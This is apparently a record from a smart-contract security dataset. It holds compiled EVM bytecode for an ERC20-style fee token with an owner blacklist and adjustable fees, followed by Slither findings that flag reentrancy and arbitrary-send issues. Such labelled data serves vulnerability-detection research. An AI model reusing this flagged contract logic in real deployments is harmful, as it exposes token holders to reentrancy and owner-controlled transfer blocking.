79a000000000000000000000000000000000000000000000000000000000815260206004820152601060248201527f416c726561647920696e636c7564656400000000000000000000000000000000604482015260640161066b565b60055473ffffffffffffffffffffffffffffffffffffffff16600090815260076020526040812055601480547fffffffffffffffffffffffffffffffffffffffffffffffffffffffff00ffffff169055565b60145473ffffffffffffffffffffffffffffffffffffffff6401000000009091041633146110f8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601b60248201527f596f7520617265206e6f74207468652066656520747765616b65720000000000604482015260640161066b565b611100611983565b565b60005473ffffffffffffffffffffffffffffffffffffffff163314611183576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161066b565b73ffffffffffffffffffffffffffffffffffffffff166000908152600a6020526040902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00169055565b60145473ffffffffffffffffffffffffffffffffffffffff640100000000909104163314611259576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601b60248201527f596f7520617265206e6f74207468652066656520747765616b65720000000000604482015260640161066b565b600f816112668486612753565b6112709190612753565b111561127b57600080fd5b600c839055600d829055600e81905560408051848152602081018490529081018290527f5b56be4fa8239051d78b844e7ffb6244252f765595b90a69d354ff7fe598160a9060600160405180910390a1505050565b73ffffffffffffffffffffffffffffffffffffffff8316611372576040517f08c379a0000000000000000000000000000000000000000000000000000000008152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460448201527f7265737300000000000000000000000000000000000000000000000000000000606482015260840161066b565b73ffffffffffffffffffffffffffffffffffffffff8216611415576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f20616464726560448201527f7373000000000000000000000000000000000000000000000000000000000000606482015260840161066b565b73ffffffffffffffffffffffffffffffffffffffff83811660008181526009602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b73ffffffffffffffffffffffffffffffffffffffff8316611500576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601d60248201527f43616e2774207472616e736665722066726f6d20302061646472657373000000604482015260640161066b565b73ffffffffffffffffffffffffffffffffffffffff821661157d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601b60248201527f43616e2774207472616e7366657220746f203020616464726573730000000000604482015260640161066b565b600081116115e7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4d757374207472616e73666572206d6f7265207468616e203020746f6b656e73604482015260640161066b565b73ffffffffffffffffffffffffffffffffffffffff83166000908152600a602052604090205460ff16158015611643575073ffffffffffffffffffffffffffffffffffffffff82166000908152600a602052604090205460ff16155b6116a9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600f60248201527f4e6f74206f6e206d792077617463680000000000000000000000000000000000604482015260640161066b565b60005473ffffffffffffffffffffffffffffffffffffffff8481169116148015906116ef575060005473ffffffffffffffffffffffffffffffffffffffff838116911614155b156118c25760145460ff166118c25760165473ffffffffffffffffffffffffffffffffffffffff8481169116148015611743575060175473ffffffffffffffffffffffffffffffffffffffff838116911614155b8015611757575060145462010000900460ff165b8015611789575073ffffffffffffffffffffffffffffffffffffffff821660009081526008602052604090205460ff16155b1561188357601054811115611820576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602660248201527f5472616e7366657220616d6f756e742065786365656473206d6178696d756d2060448201527f616d6f756e740000000000000000000000000000000000000000000000000000606482015260840161066b565b73ffffffffffffffffffffffffffffffffffffffff82166000908152600b6020526040902054421161185157600080fd5b61185c42601e612753565b73ffffffffffffffffffffffffffffffffffffffff83166000908152600b60205260409020555b60165473ffffffffffffffffffffffffffffffffffffffff8481169116148015906118b55750601454610100900460ff165b156118c2576118c2611983565b6118cd838383611b32565b505050565b6000600454821115611966576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602660248201527f416d6f756e74206d757374206265206c657373207468616e207265736572766560448201527f20746f74616c0000000000000000000000000000000000000000000000000000606482015260840161066b565b6000611970611ba6565b905061197c818461276b565b9392505050565b601480547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001660011790556012546000906119bd30610989565b6119c791906127e1565b601154601254600c54929350101590158015906119e15750805b15611a9957600060026012546119f7919061276b565b9050600081601254611a0991906127e1565b90506000611a178584612753565b9050611a2281611bc9565b600f544790600090611a3590600a6127a4565b6002600c54600a611a4691906127a4565b611a50919061276b565b611a5a9190612753565b90506000600c54600a611a6d91906127a4565b611a77838561276b565b611a8191906127a4565b9050611a8d8582611dd9565b50506000601255505050505b60135415611b065780611aaf57611aaf82611bc9565b6000601355478015611b045760155460405173ffffffffffffffffffffffffffffffffffffffff9091169082156108fc029083906000818181858888f19350505050158015611b02573d6000803e3d6000fd5b505b505b5050601480547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00169055565b73ffffffffffffffffffffffffffffffffffffffff831660009081526008602052604081205460ff1680611b8b575073ffffffffffffffffffffffffffffffffffffffff831660009081526008602052604090205460ff165b15611b94575060015b611ba084848484611f09565b50505050565b6000806000611bb3612240565b9092509050611bc2818361276b565b9250505090565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110611c25577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b73ffffffffffffffffffffffffffffffffffffffff928316602091820292909201810191909152601754604080517fad5c46480000000000000000000000000000000000000000000000000000000081529051919093169263ad5c4648926004808301939192829003018186803b158015611c9f57600080fd5b505afa158015611cb3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611cd791906123f6565b81600181518110611d11577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b73ffffffffffffffffffffffffffffffffffffffff9283166020918202929092010152601754611d4491309116846112d0565b6017546040517f791ac94700000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff9091169063791ac94790611da39085906000908690309042906004016126c9565b600060405180830381600087803b158015611dbd57600080fd5b505af1158015611dd1573d6000803e3d6000fd5b505050505050565b601754611dfe90309073ffffffffffffffffffffffffffffffffffffffff16846112d0565b60175473ffffffffffffffffffffffffffffffffffffffff1663f305d719823085600080611e4160005473ffffffffffffffffffffffffffffffffffffffff1690565b60405160e088901b7fffffffff0000000000000000000000000000000000000000000000000000000016815273ffffffffffffffffffffffffffffffffffffffff958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015611ec957600080fd5b505af1158015611edd573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611f02919061262b565b5050505050565b6000611f13611ba6565b90506000611f2182856127a4565b90508083612161576000611f3660648761276b565b9050600f54600014611f8157600080611f5286600f5485612369565b80935081925050508060136000828254611f6c9190612753565b90915550611f7c905082856127e1565b935050505b600c5415611fc857600080611f9986600c5485612369565b80935081925050508060126000828254611fb39190612753565b90915550611fc3905082856127e1565b935050505b600e541561211b576000600e5482611fe091906127a4565b90506000611fee86836127a4565b9050611ffa81856127e1565b60055473ffffffffffffffffffffffffffffffffffffffff16600090815260066020526040902054909450612030908290612753565b60055473ffffffffffffffffffffffffffffffffffffffff166000908152600660205260409020556014546301000000900460ff16156120c65760055473ffffffffffffffffffffffffffffffffffffffff1660009081526007602052604090205461209d908390612753565b60055473ffffffffffffffffffffffffffffffffffffffff166000908152600760205260409020555b60055460405183815273ffffffffffffffffffffffffffffffffffffffff918216918c16907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a350505b600d541561215f57600084600d548361213491906127a4565b61213e91906127a4565b90508060045461214e91906127e1565b60045561215b81846127e1565b9250505b505b73ffffffffffffffffffffffffffffffffffffffff87166000908152600660205260409020546121929083906127e1565b73ffffffffffffffffffffffffffffffffffffffff80891660009081526006602052604080822093909355908816815220546121cf908290612753565b73ffffffffffffffffffffffffffffffffffffffff80881660008181526006602052604090209290925588167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef612226868561276b565b60405190815260200160405180910390a350505050505050565b600454600354601454600092839290916301000000900460ff16156123395760055473ffffffffffffffffffffffffffffffffffffffff166000908152600660205260409020548210806122ba575060055473ffffffffffffffffffffffffffffffffffffffff1660009081526007602052604090205481105b156122cf576004546003549350935050509091565b60055473ffffffffffffffffffffffffffffffffffffffff1660009081526006602052604090205461230190836127e1565b60055473ffffffffffffffffffffffffffffffffffffffff1660009081526007602052604090205490925061233690826127e1565b90505b600354600454612349919061276b565b821015612360576004546003549350935050509091565b90939092509050565b6000808061237785856127a4565b9050600061238587836127a4565b306000908152600660205260408120805492935083929091906123a9908490612753565b909155509197909650945050505050565b80356123c58161288f565b919050565b803580151581146123c557600080fd5b6000602082840312156123eb578081fd5b813561197c8161288f565b600060208284031215612407578081fd5b815161197c8161288f565b60008060408385031215612424578081fd5b823561242f8161288f565b9150602083013561243f8161288f565b809150509250929050565b60008060006060848603121561245e578081fd5b83356124698161288f565b925060208401356124798161288f565b929592945050506040919091013590565b6000806040838503121561249c578182fd5b82356124a78161288f565b91506124b5602084016123ca565b90509250929050565b600080604083850312156124d0578182fd5b82356124db8161288f565b946020939093013593505050565b600060208083850312156124fb578182fd5b823567ffffffffffffffff80821115612512578384fd5b818501915085601f830112612525578384fd5b81358181111561253757612537612860565b8060051b6040517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0603f8301168101818110858211171561257a5761257a612860565b604052828152858101935084860182860187018a1015612598578788fd5b8795505b838610156125c1576125ad816123ba565b85526001959095019493860193860161259c565b5098975050505050505050565b6000602082840312156125df578081fd5b61197c826123ca565b6000602082840312156125f9578081fd5b5035919050565b600080600060608486031215612614578283fd5b505081359360208301359350604090920135919050565b60008060006060848603121561263f578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b8181101561268457858101830151858201604001528201612668565b818111156126955783604083870101525b50601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016929092016040019392505050565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b8181101561272557845173ffffffffffffffffffffffffffffffffffffffff16835293830193918301916001016126f3565b505073ffffffffffffffffffffffffffffffffffffffff969096166060850152505050608001529392505050565b6000821982111561276657612766612831565b500190565b60008261279f577f4e487b710000000000000000000000000000000000000000000000000000000081526012600452602481fd5b500490565b6000817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156127dc576127dc612831565b500290565b6000828210156127f3576127f3612831565b500390565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561282a5761282a612831565b5060010190565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b73ffffffffffffffffffffffffffffffffffffffff811681146128b157600080fd5b5056fea2646970667358221220ee5c6af13d60d19a05ee075a61e9c711dcb1698c6a40aee63927bdfedd7f759864736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
1,299